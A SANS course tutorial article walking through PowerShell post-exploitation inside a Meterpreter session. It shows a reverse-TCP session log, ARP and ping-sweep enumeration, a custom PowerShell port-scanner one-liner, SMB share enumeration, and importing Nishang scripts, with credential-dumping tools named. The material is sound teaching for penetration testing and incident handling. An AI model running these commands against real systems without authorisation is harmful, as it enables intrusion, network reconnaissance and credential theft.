In my SEC504: Hacker Tools, Techniques, and Incident Handling class, we use Metasploit as a tool to examine lots of attack techniques, and we use the Meterpreter payload as a Command & Control (C2) interface. Meterpreter has built-in support for leveraging PowerShell, making it possible to extend Meterpreter's functionality to leverage native PowerShell commands and third-party PowerShell scripts against a target.
In this article, we'll look at how we can integrate local PowerShell attacks with a Meterpreter payload. Let's take a look!
Meterpreter
For PowerShell post-exploitation attacks, we need to establish a Meterpreter payload on the victim system. There's lots of opportunities for this, including password attacks, drive-by attacks, phishing attacks, public-facing application exploitation, etc. For this article, we'll focus on using PowerShell after establishing a Meterpreter C2 session:
[*] Started reverse TCP handler on 10.10.75.1:4444 [*] 10.10.0.1:445 - Connecting to the server... [*] 10.10.0.1:445 - Authenticating to 10.10.0.1:445 as user 'sec504'... [*] 10.10.0.1:445 - Selecting PowerShell target [*] 10.10.0.1:445 - Executing the payload... [+] 10.10.0.1:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (175174 bytes) to 10.10.0.1 [*] Meterpreter session 1 opened (10.10.75.1:4444 -> 10.10.0.1:1034) at 2022-07-10 02:44:51 +0000 meterpreter >
From the Meterpreter session, you can load the PowerShell extension by running load powershell:
meterpreter > load powershell Loading extension powershell...Success. meterpreter >
With the PowerShell extension loaded, we have access to four PowerShell-related commands:
- powershell_execute: Execute a PowerShell statement, including complex-statements separated by semicolons
- powershell_import: Import a local PowerShell script to execute on the remote system over the Meterpreter channel
- powershell_shell: Launch an interactive PowerShell shell
- powershell_session_remove: Used to remove a PowerShell session when created using execute/import/shell with the -s argument
The powershell_execute command is straightforward: execute one or more PowerShell statements and return the output:
meterpreter > powershell_execute 'Get-Process | Where-Object -Property Name -EQ "lsass"' [+] Command execution completed: Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 1123 25 5888 18200 1.17 724 0 lsass
With the ability to run PowerShell commands through Meterpreter, we can quickly perform several post-exploitation enumeration actions.
Discovery Internal Hosts - ARP Enumeration
We can use PowerShell's Get-NetNeighbor cmdlet to discover other hosts on the LAN known to the local system:
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress' [+] Command execution completed: IPAddress --------- ff02::1:ff40:1f9a ff02::1:3 ff02::1:2 ff02::fb ff02::16 ff02::c ff02::2 ff02::1 ff02::1:2 ff02::16 ff02::c 255.255.255.255 239.255.255.250 224.0.0.252 224.0.0.251 224.0.0.22 192.168.171.255 192.168.171.254 192.168.171.154 192.168.171.116 192.168.171.96 192,168.171.21 192.168.171.2 192.168.171.1 239.255.255.250 224.0.0.22
Discover Internal Hosts - Ping Sweep
Using a foreach loop and the PowerShell pipeline, we can use Test-Connection to perform a ping sweep to identify other hosts:
meterpreter > powershell_execute '1..254 | foreach { "192.168.171.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName 192.168.171.${_} -Quiet)" }' 192.168.171.1: True 192.168.171.2: False 192.168.171.3: False 192.168.171.4: False 192.168.171.5: False 192.168.171.6: False 192.168.171.7: False 192.168.171.8: False 192.168.171.9: False 192.168.171.10: True 192.168.171.11: True 192.168.171.12: False 192.168.171.13: False 192.168.171.14: False 192.168.171.15: False 192.168.171.16: False 192.168.171.17: False 192.168.171.18: False 192.168.171.19: False 192.168.171.20: False 192.168.171.21: True ...
TIP: It's a good idea to perform a ping sweep on the LAN, then check the Get-NetNeighbor results, since that will populate the ARP table with fresh IP to MAC address mapping data.
PowerShell Port Scan
In his article PowerShell - Built-in Port Scanner, my friend Matt Toussain writes about the built-in TCP port scanner functionality in PowerShell using Test-NetConnection -ComputerName
meterpreter > powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded' [+] Command execution completed: WARNING: TCP connect to (192.168.171.21 : 80) failed RemotePort TcpTestSucceeded ---------- ---------------- 80 False meterpreter > powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 445 | Select-Object -Property RemotePort, TcpTestSucceeded' [+] Command execution completed: RemotePort TcpTestSucceeded ---------- ---------------- 445 True
This works well, but is pretty slow. Test-NetConnection sends a lot of traffic to verify the host is up before it sends the TCP port test, creating a lot of overhead. Matt also suggests invoking the TcpClient .NET class directly:
1..1024 | foreach {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.171.21",$_)) "Port $_ is open!"} 2>$null
Using the TcpClient .NET class is faster than Test-NetConnection, but is still fairly slow, primarily when there are ports that are filtered or don't respond with open or closed messages. I set out to write something a little faster, and came up with this PowerShell function:
# Adapted from https://superuser.com/a/1534911 Function Test-CommonTCPPorts { Param($address, $timeout=1000) $ports = @(21,22,23,25,53,80,81,110,111,113,135,139,143,179,199,443,445,465,514,548,554,587,993,995,1025,1026,1720,1723,2000,3306,3389,5060,5900,6001,8000,8080,8443,8888,10000,32768) ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient try { $result=$socket.BeginConnect($address, $port, $null, $null) if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }
In Test-CommonTCPPorts I used a list of the top 20 most common TCP ports according to the Nmap services file. Instead of using the Connect() method in the TcpClient .NET class, I use BeginConnect(), which allows us to specify a shorter timeout value when ports do not respond.
I think there are more opportunities to optimize this function, including scanning multiple ports in parallel. I made a note to return to this in the future.
We can use Meterpreter to load this script into memory by copying and pasting it after reformatting into a less-legible-but-functional PowerShell 1-liner:
Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }
meterpreter > powershell_execute 'Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }' [+] Command execution completed: meterpreter >
Once it is loaded into the PowerShell namespace, we can invoke it to scan systems, optionally specifying a timeout time to accelerate the scan at the potential cost of false-negatives (here I reduce the timeout duration to 500ms):
meterpreter > powershell_execute 'Test-CommonTCPPorts 192.168.171.21 500' [+] Command execution completed: 21 - closed 22 - closed 23 - closed 25 - closed 53 - closed 80 - closed 110 - closed 111 - closed 135 - open 139 - open 143 - closed 443 - closed 445 - open 993 - closed 995 - closed 1723 - closed 3306 - closed 3389 - closed 5900 - closed 8080 - closed
I had some trouble getting this scan to complete with a longer list of TCP ports, where Meterpreter would return the error Error running command powershell_execute: Rex::TimeoutError Operation timed out.; YMMV.
Enumerate SMB shares
Once we know the target systems and listening services, we can rely on other PowerShell functionality to enumerate the systems further. This might include enumerating SMB shares using Get-WmiObject -Class win32_share:
meterpreter > powershell_execute 'Get-WmiObject -Class win32_share -ComputerName 192.168.171.21' [+] Command execution completed: Name Path Description ---- ---- ----------- ADMIN$ C:\WINDOWS Remote Admin C$ C:\ Default share IPC$ Remote IPC share C:\share
The ability to run PowerShell commands, and to preserve the namespace of the environment in Meterpreter is wonderful, but we can also leverage Meterpreter to integrate PowerShell attack scripts as well.
Meterpreter + Nishang
Perhaps the most powerful PowerShell feature integrated into Meterpreter is the ability to load scripts local to the attacker system into the Meterpreter PowerShell environment using powershell_import. This allows us to integrate PowerShell scripts against target systems through Meterpreter, without having to upload the script as a file on the compromised system.
Nishang is a collection of PowerShell scripts and payloads for offensive security tasks, written by Nikhil Mittal. Nishang includes support for establishing lots of persistence mechanisms, privilege escalation, defense evasion, credential access, and more.
Another great PowerShell attack framework is PowerSploit.
Let's download Nishang into a convenient directory using git. We can do this right from the Metasploit console:
meterpreter > background [*] Backgrounding session 8... msf6 exploit(windows/smb/psexec) > git clone https://github.com/samratashok/nishang.git [*] exec: git clone https://github.com/samratashok/nishang.git Cloning into 'nishang'... remote: Enumerating objects: 1699, done. remote: Counting objects: 100% (8/8), done. remote: Compressing objects: 100% (7/7), done. remote: Total 1699 (delta 2), reused 4 (delta 1), pack-reused 1691 Receiving objects: 100% (1699/1699), 10.88 MiB | 2.01 MiB/s, done. Resolving deltas: 100% (1061/1061), done. msf6 exploit(windows/smb/psexec) > sessions -i 8 [*] Starting interaction with 8... meterpreter >
Replace the Meterpreter session number (in this example, 8) with the appropriate session number on your system.
With the Nishang scripts on the attacker system, we can import and execute them through Meterpreter:
meterpreter > powershell_import nishang/Gather/Get-Information.ps1 [+] File successfully imported. No result was returned. meterpreter > powershell_execute Get-Information [+] Command execution completed: ERROR: get-childitem : Cannot find path 'HKEY_CURRENT_USER\software\simontatham\putty' because it does not exist. ERROR: ERROR: At line:27 char:34 ERROR: + else{$key = get-childitem <<<< $regkey} ... Account Policy: Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): Unlimited Minimum password length: 0 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: WORKSTATION The command completed successfully.
Nishang doesn't gracefully handle missing registry keys (in this example, where PuTTY is not installed on the target system), but it will continue to enumerate the target using Gather/Get-Information, disclosing installed software and other platform details, including the use of a very weak password complexity policy.
Nishang includes several other useful scripts to leverage against the target system:
- Invoke-CredentialsPhish
- Get-LSASecret
- Get-PassHashes
- Egress network access testing
- Multiple persistence/backdoor scripts
- And much more!
Conclusion
Meterpreter's PowerShell integration and straightforward: load_powershell; powershell_import; powershell_execute, giving us a lot of flexibility in leveraging this as part of a post-exploitation attack. It is not perfect, and I ran into several cases where Meterpreter would return a Rex::TimeoutError Operation timed out for scripts, but it is reasonably functional, and a boon to analysts using Meterpreter for red team of pen-test engagements.
-Joshua Wright
Return to Getting Started With PowerShell
Joshua Wright is the author of SANS SEC504: Hacker Tools, Techniques, and Incident Handling, a faculty fellow for the SANS Institute, and a senior technical director at Counter Hack.